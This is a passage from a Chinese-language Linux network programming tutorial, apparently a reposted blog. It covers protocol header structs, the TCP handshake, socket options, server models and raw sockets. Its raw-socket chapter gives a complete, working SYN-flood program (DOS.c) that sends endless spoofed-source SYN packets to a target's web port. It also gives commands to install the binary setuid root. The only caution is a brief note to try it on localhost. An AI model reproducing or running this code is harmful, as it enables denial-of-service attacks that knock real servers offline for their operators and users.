#define IP\_DF 0x4000                    /\* dont fragment flag \*/  
#define IP\_MF 0x2000                    /\* more fragments flag \*/  
#define IP\_OFFMASK 0x1fff               /\* mask for fragmenting bits \*/  
        u\_int8\_t ip\_ttl;                /\* time to live \*/  
        u\_int8\_t ip\_p;                  /\* protocol \*/  
        u\_short ip\_sum;                 /\* checksum \*/  
        struct in\_addr ip\_src, ip\_dst;  /\* source and dest address \*/  
  };

ip\_vIP协议的版本号,这里是4,现在IPV6已经出来了

ip\_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.

ip\_tos服务类型,说明提供的优先权.

ip\_len说明IP数据的长度.以字节为单位.

ip\_id标识这个IP数据包.

ip\_off碎片偏移,这和上面ID一起用来重组碎片的.

ip\_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.

ip\_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.

ip\_sum首部校验和,提供对首部数据的校验.

ip\_src,ip\_dst发送者和接收者的IP地址

关于IP协议的详细情况,请参考 RFC791

7.3 ICMP协议  
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.

ICMP包的结构如下:

0              8               16                              32  
---------------------------------------------------------------------  
|       类型    |       代码    |       校验和                  |  
--------------------------------------------------------------------  
|               数据            |       数据                    |  
--------------------------------------------------------------------

ICMP在中的定义是  
struct icmphdr  
{  
  u\_int8\_t type;                /\* message type \*/  
  u\_int8\_t code;                /\* type sub-code \*/  
  u\_int16\_t checksum;  
  union  
  {  
    struct  
    {  
      u\_int16\_t id;  
      u\_int16\_t sequence;  
    } echo;                     /\* echo datagram \*/  
    u\_int32\_t   gateway;        /\* gateway address \*/  
    struct  
    {  
      u\_int16\_t \_\_unused;  
      u\_int16\_t mtu;  
    } frag;                     /\* path mtu discovery \*/  
  } un;  
};

关于ICMP协议的详细情况可以查看 RFC792

7.4 UDP协议  
UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为:

0                      16                      32  
---------------------------------------------------  
|       UDP源端口       |       UDP目的端口     |  
---------------------------------------------------  
|       UDP数据报长度   |       UDP数据报校验   |  
---------------------------------------------------

UDP结构在中的定义为:  
struct udphdr {  
  u\_int16\_t     source;  
  u\_int16\_t     dest;  
  u\_int16\_t     len;  
  u\_int16\_t     check;  
};

关于UDP协议的详细情况,请参考 RFC768  
7.5 TCP  
TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.

0       4       8  10           16              24              32  
-------------------------------------------------------------------  
|               源端口          |               目的端口        |  
-------------------------------------------------------------------  
|                               序列号                          |  
------------------------------------------------------------------  
|                               确认号                          |  
------------------------------------------------------------------  
|        |            |U|A|P|S|F|                               |  
|首部长度| 保留       |R|C|S|Y|I|       窗口                    |  
|        |            |G|K|H|N|N|                               |  
-----------------------------------------------------------------  
|               校验和          |               紧急指针        |  
-----------------------------------------------------------------  
|                       选项                    |    填充字节   |  
-----------------------------------------------------------------

TCP的结构在中定义为:  
struct tcphdr  
  {  
    u\_int16\_t source;  
    u\_int16\_t dest;  
    u\_int32\_t seq;  
    u\_int32\_t ack\_seq;  
#if \_\_BYTE\_ORDER == \_\_LITTLE\_ENDIAN  
    u\_int16\_t res1:4;  
    u\_int16\_t doff:4;  
    u\_int16\_t fin:1;  
    u\_int16\_t syn:1;  
    u\_int16\_t rst:1;  
    u\_int16\_t psh:1;  
    u\_int16\_t ack:1;  
    u\_int16\_t urg:1;  
    u\_int16\_t res2:2;  
#elif \_\_BYTE\_ORDER == \_\_BIG\_ENDIAN  
    u\_int16\_t doff:4;  
    u\_int16\_t res1:4;  
    u\_int16\_t res2:2;  
    u\_int16\_t urg:1;  
    u\_int16\_t ack:1;  
    u\_int16\_t psh:1;  
    u\_int16\_t rst:1;  
    u\_int16\_t syn:1;  
    u\_int16\_t fin:1;  
#endif  
    u\_int16\_t window;  
    u\_int16\_t check;  
    u\_int16\_t urg\_prt;  
};

source发送TCP数据的源端口  
dest接受TCP数据的目的端口

seq标识该TCP所包含的数据字节的开始序列号

ack\_seq确认序列号,表示接受方下一次接受的数据序列号.

doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5

urg如果设置紧急数据指针,则该位为1

ack如果确认号正确,那么为1

psh如果设置为1,那么接收方收到数据后,立即交给上一层程序

rst为1的时候,表示请求重新连接

syn为1的时候,表示请求建立连接

fin为1的时候,表示亲戚关闭连接

window窗口,告诉接收者可以接收的大小

check对TCP数据进行较核

urg\_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

关于TCP协议的详细情况,请查看 RFC793

7.6 TCP连接的建立  
TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手".

下面我们从一个实例来分析建立连接的过程.

第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,  
并且设置序列号seq=1000(我们假设为1000).

第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.  
因为是响应客户机的请求, 于是服务器设置ACK为1,sak\_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).

第三步客户机收到了服务器的TCP,并从ACK为1和ack\_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.  
客户机设置ACK=1,和ack\_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.

最后一步服务器受到确认信息,也完成连接.

通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.

说一说其中的一种错误.  
  听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.  
  概括的说一下原理.客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤.  
  不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的  
  IP填充在自己IP 数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,  
  这样服务务端会在那边一直等待,直到超时.这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,  
  而不能再接收客户机的请求.这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.  
  于是就出现了春节时所出现的情况.

(八)Linux网络编程--8. 套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.

8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void \*optval,socklen\_t \*optlen)  
int setsockopt(int sockfd,int level,int optname,const void \*optval,socklen\_t \*optlen)

level指定控制套接字的层次.可以取三种值:  
        1)SOL\_SOCKET:通用套接字选项.  
        2)IPPROTO\_IP:IP选项.  
        3)IPPROTO\_TCP:TCP选项.  
optname指定控制的方式(选项的名称),我们下面详细解释

optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换

选项名称                说明                                    数据类型  
========================================================================  
                        SOL\_SOCKET  
------------------------------------------------------------------------  
SO\_BROADCAST            允许发送广播数据                        int  
SO\_DEBUG                允许调试                                int  
SO\_DONTROUTE            不查找路由                              int  
SO\_ERROR                获得套接字错误                          int  
SO\_KEEPALIVE            保持连接                                int  
SO\_LINGER               延迟关闭连接                            struct linger  
SO\_OOBINLINE            带外数据放入正常数据流                  int  
SO\_RCVBUF               接收缓冲区大小                          int  
SO\_SNDBUF               发送缓冲区大小                          int  
SO\_RCVLOWAT             接收缓冲区下限                          int  
SO\_SNDLOWAT             发送缓冲区下限                          int  
SO\_RCVTIMEO             接收超时                                struct timeval  
SO\_SNDTIMEO             发送超时                                struct timeval  
SO\_REUSERADDR           允许重用本地地址和端口                  int  
SO\_TYPE                 获得套接字类型                          int  
SO\_BSDCOMPAT            与BSD系统兼容                           int  
==========================================================================  
                        IPPROTO\_IP  
--------------------------------------------------------------------------  
IP\_HDRINCL              在数据包中包含IP首部                    int  
IP\_OPTINOS              IP首部选项                              int  
IP\_TOS                  服务类型  
IP\_TTL                  生存时间                                int  
==========================================================================  
                        IPPRO\_TCP  
--------------------------------------------------------------------------  
TCP\_MAXSEG              TCP最大数据段的大小                     int  
TCP\_NODELAY             不使用Nagle算法                         int  
=========================================================================

关于这些选项的详细情况请查看 Linux Programmer's Manual

8.2 ioctl  
ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

int ioctl(int fd,int req,...)

==========================================================================  
                        ioctl的控制选项  
--------------------------------------------------------------------------  
SIOCATMARK              是否到达带外标记                        int  
FIOASYNC                异步输入/输出标志                       int  
FIONREAD                缓冲区可读的字节数                      int  
==========================================================================

详细的选项请用 man ioctl\_list 查看.

(九)Linux网络编程--9. 服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,  
我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,  
这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求,  
对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

<一>循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

<二>并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求

9.1 循环服务器:UDP服务器  
        UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.  
可以用下面的算法来实现.

   socket(...);  
   bind(...);  
   while(1)  
    {  
         recvfrom(...);  
         process(...);  
         sendto(...);  
   }  
因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器:TCP服务器  
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下:  
        socket(...);  
        bind(...);  
        listen(...);  
        while(1)  
        {  
                accept(...);  
                while(1)  
                {  
                        read(...);  
                        process(...);  
                        write(...);  
                }  
                close(...);  
        }

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.  
这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

9.3 并发服务器:TCP服务器  
        为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器  
直接处理,而是服务器创建一个 子进程来处理.

算法如下:

  socket(...);  
  bind(...);  
  listen(...);  
  while(1)  
  {  
        accept(...);  
        if(fork(..)==0)  
          {  
              while(1)  
               {         
                read(...);  
                process(...);  
                write(...);  
               }  
           close(...);  
           exit(...);  
          }  
        close(...);  
  }

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,  
服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器:多路复用I/O  
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.  
首先介绍一个函数select

int select(int nfds,fd\_set \*readfds,fd\_set \*writefds,  
                fd\_set \*except fds,struct timeval \*timeout)  
void FD\_SET(int fd,fd\_set \*fdset)  
void FD\_CLR(int fd,fd\_set \*fdset)  
void FD\_ZERO(fd\_set \*fdset)  
int FD\_ISSET(int fd,fd\_set \*fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述符的集合  
writefds所有要的写文件文件描述符的集合

exceptfds其他的服要向我们通知的文件描述符

timeout超时设置.

nfds所有我们监控的文件描述符中最大的那一个加1

在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD\_SET将fd加入到fdset

FD\_CLR将fd从fdset里面清除

FD\_ZERO从fdset中清除所有的文件描述符

FD\_ISSET判断fd是否在fdset集合中

使用select的一个例子

int use\_select(int \*readfd,int n)  
{  
   fd\_set my\_readfd;  
   int maxfd;  
   int i;  
    
   maxfd=readfd[0];  
   for(i=1;i  
    if(readfd[i]>maxfd) maxfd=readfd[i];  
   while(1)  
   {  
        /\*   将所有的文件描述符加入   \*/  
        FD\_ZERO(&my\_readfd);  
        for(i=0;i  
            FD\_SET(readfd[i],\*my\_readfd);  
        /\*     进程阻塞                 \*/  
        select(maxfd+1,& my\_readfd,NULL,NULL,NULL);  
        /\*        有东西可以读了       \*/  
        for(i=0;i  
          if(FD\_ISSET(readfd[i],&my\_readfd))  
              {  
                  /\* 原来是我可以读了  \*/  
                        we\_read(readfd[i]);  
              }  
   }  
}

使用select后我们的服务器程序就变成了.

        初始话(socket,bind,listen);  
         
    while(1)  
        {  
        设置监听读写文件描述符(FD\_\*);    
         
        调用select;  
         
        如果是倾听套接字就绪,说明一个新的连接请求建立  
             {  
                建立连接(accept);  
                加入到监听文件描述符中去;  
             }  
       否则说明是一个已经连接过的描述符  
                {  
                    进行操作(read或者write);  
                 }  
                         
        }

多路复用I/O可以解决资源限制的问题.这模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.  
如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

9.5 并发服务器:UDP服务器  
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建  
一个子进程来处理的 算法和并发的TCP模型一样.  
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

9.6 一个并发TCP服务器实例

#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>

#define MY\_PORT         8888

int main(int argc ,char \*\*argv)  
{  
int listen\_fd,accept\_fd;  
struct sockaddr\_in     client\_addr;  
int n;

if((listen\_fd=socket(AF\_INET,SOCK\_STREAM,0))<0)  
  {  
        printf("Socket Error:%s\n\a",strerror(errno));  
        exit(1);  
  }

bzero(&client\_addr,sizeof(struct sockaddr\_in));  
client\_addr.sin\_family=AF\_INET;  
client\_addr.sin\_port=htons(MY\_PORT);  
client\_addr.sin\_addr.s\_addr=htonl(INADDR\_ANY);  
n=1;  
/\* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间  \*/  
setsockopt(listen\_fd,SOL\_SOCKET,SO\_REUSEADDR,&n,sizeof(int));  
if(bind(listen\_fd,(struct sockaddr \*)&client\_addr,sizeof(client\_addr))<0)  
  {  
        printf("Bind Error:%s\n\a",strerror(errno));  
        exit(1);  
  }  
  listen(listen\_fd,5);  
  while(1)  
  {  
   accept\_fd=accept(listen\_fd,NULL,NULL);  
   if((accept\_fd<0)&&(errno==EINTR))  
          continue;  
   else if(accept\_fd<0)  
    {  
        printf("Accept Error:%s\n\a",strerror(errno));  
        continue;  
    }  
  if((n=fork())==0)  
   {  
        /\* 子进程处理客户端的连接 \*/  
        char buffer[1024];

        close(listen\_fd);  
        n=read(accept\_fd,buffer,1024);  
        write(accept\_fd,buffer,n);  
        close(accept\_fd);  
        exit(0);  
   }  
   else if(n<0)  
        printf("Fork Error:%s\n\a",strerror(errno));  
   close(accept\_fd);  
  }  
}

你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试

(十)Linux网络编程--10. 原始套接字

 我们在前面已经学习过了网络程序的两种套接字(SOCK\_STREAM,SOCK\_DRAGM).在这一章 里面我们一起来学习另外  
一种套接字--原始套接字(SOCK\_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.  
注意原始套接字只能够由有 root权限的人创建.

10.1 原始套接字的创建

int sockfd(AF\_INET,SOCK\_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO\_ICMP,IPPROTO\_TCP,IPPROTO\_UDP等等.  
详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例  
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  DOS.c               \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/  
#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>

#define DESTPORT        80       /\* 要攻击的端口(WEB)      \*/  
#define LOCALPORT       8888

void send\_tcp(int sockfd,struct sockaddr\_in \*addr);  
unsigned short check\_sum(unsigned short \*addr,int len);

int main(int argc,char \*\*argv)  
{  
int sockfd;  
struct sockaddr\_in addr;  
struct hostent \*host;  
int on=1;

if(argc!=2)  
{  
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);  
        exit(1);  
}

bzero(&addr,sizeof(struct sockaddr\_in));  
addr.sin\_family=AF\_INET;  
addr.sin\_port=htons(DESTPORT);

if(inet\_aton(argv[1],&addr.sin\_addr)==0)  
{  
        host=gethostbyname(argv[1]);  
        if(host==NULL)  
        {  
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h\_errno));  
                exit(1);  
        }  
        addr.sin\_addr=\*(struct in\_addr \*)(host->h\_addr\_list[0]);  
}

/\*\*\*\* 使用IPPROTO\_TCP创建一个TCP的原始套接字    \*\*\*\*/

sockfd=socket(AF\_INET,SOCK\_RAW,IPPROTO\_TCP);  
if(sockfd<0)  
{  
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));  
        exit(1);  
}  
/\*\*\*\*\*\*\*\*  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  \*\*\*/

setsockopt(sockfd,IPPROTO\_IP,IP\_HDRINCL,&on,sizeof(on));

/\*\*\*\*  没有办法,只用超级护用户才可以使用原始套接字    \*\*\*\*\*\*\*\*\*/  
setuid(getpid());

/\*\*\*\*\*\*\*\*\*  发送炸弹了!!!!          \*\*\*\*/  
send\_tcp(sockfd,&addr);  
}

/\*\*\*\*\*\*\*  发送炸弹的实现   \*\*\*\*\*\*\*\*\*/  
void send\_tcp(int sockfd,struct sockaddr\_in \*addr)  
{  
char buffer[100];  /\*\*\*\* 用来放置我们的数据包  \*\*\*\*/  
struct ip \*ip;  
struct tcphdr \*tcp;  
int head\_len;

/\*\*\*\*\*\*\* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  \*\*\*/

head\_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/\*\*\*\*\*\*\*\*  填充IP数据包的头部,还记得IP的头格式吗?     \*\*\*\*\*\*/  
ip=(struct ip \*)buffer;  
ip->ip\_v=IPVERSION;             /\*\* 版本一般的是 4      \*\*/  
ip->ip\_hl=sizeof(struct ip)>>2; /\*\* IP数据包的头部长度  \*\*/  
ip->ip\_tos=0;                   /\*\* 服务类型            \*\*/  
ip->ip\_len=htons(head\_len);     /\*\* IP数据包的长度      \*\*/  
ip->ip\_id=0;                    /\*\* 让系统去填写吧      \*\*/  
ip->ip\_off=0;                   /\*\* 和上面一样,省点时间 \*\*/         
ip->ip\_ttl=MAXTTL;              /\*\* 最长的时间   255    \*\*/  
ip->ip\_p=IPPROTO\_TCP;           /\*\* 我们要发的是 TCP包  \*\*/  
ip->ip\_sum=0;                   /\*\* 校验和让系统去做    \*\*/  
ip->ip\_dst=addr->sin\_addr;      /\*\* 我们攻击的对象      \*\*/

/\*\*\*\*\*\*\*  开始填写TCP数据包                           \*\*\*\*\*/  
tcp=(struct tcphdr \*)(buffer +sizeof(struct ip));  
tcp->source=htons(LOCALPORT);  
tcp->dest=addr->sin\_port;           /\*\* 目的端口    \*\*/  
tcp->seq=random();  
tcp->ack\_seq=0;  
tcp->doff=5;  
tcp->syn=1;                        /\*\* 我要建立连接 \*\*/  
tcp->check=0;

/\*\* 好了,一切都准备好了.服务器,你准备好了没有?? ^\_^  \*\*/  
while(1)  
  {  
/\*\*  你不知道我是从那里来的,慢慢的去等吧!      \*\*/  
    ip->ip\_src.s\_addr=random();

/\*\* 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 \*/  
/\*\*            下面这条可有可无    \*/  
    tcp->check=check\_sum((unsigned short \*)tcp,  
                sizeof(struct tcphdr));  
    sendto(sockfd,buffer,head\_len,0,addr,sizeof(struct sockaddr\_in));  
  }  
}

/\* 下面是首部校验和的算法,偷了别人的 \*/  
unsigned short check\_sum(unsigned short \*addr,int len)  
{  
register int nleft=len;  
register int sum=0;  
register short \*w=addr;  
  short answer=0;

while(nleft>1)  
{  
  sum+=\*w++;  
  nleft-=2;  
}  
if(nleft==1)  
{  
  \*(unsigned char \*)(&answer)=\*(unsigned char \*)w;  
  sum+=answer;  
}  
   
sum=(sum>>16)+(sum&0xffff);  
sum+=(sum>>16);  
answer=~sum;  
return(answer);  
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,  
我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS  
[root@hoyt /root]#chmod +s DOS

10.3 总结  
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢.  
当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,  
回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们  
发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,  
那么IP数据一样也可以由系统来创建的.

11. 后记  
  总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方  
都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.  
  如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走.  
  网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许  
  许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库.  
  如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.  
  看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.  
  我们现在用的软件有几个是我们中国人自己编写的.  不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的  
  差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

相信一点:

            别人可以做到的我们一样可以做到,而且可以比别人做的更好!

   勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/jenshy/archive/2006/04/18/667944.aspx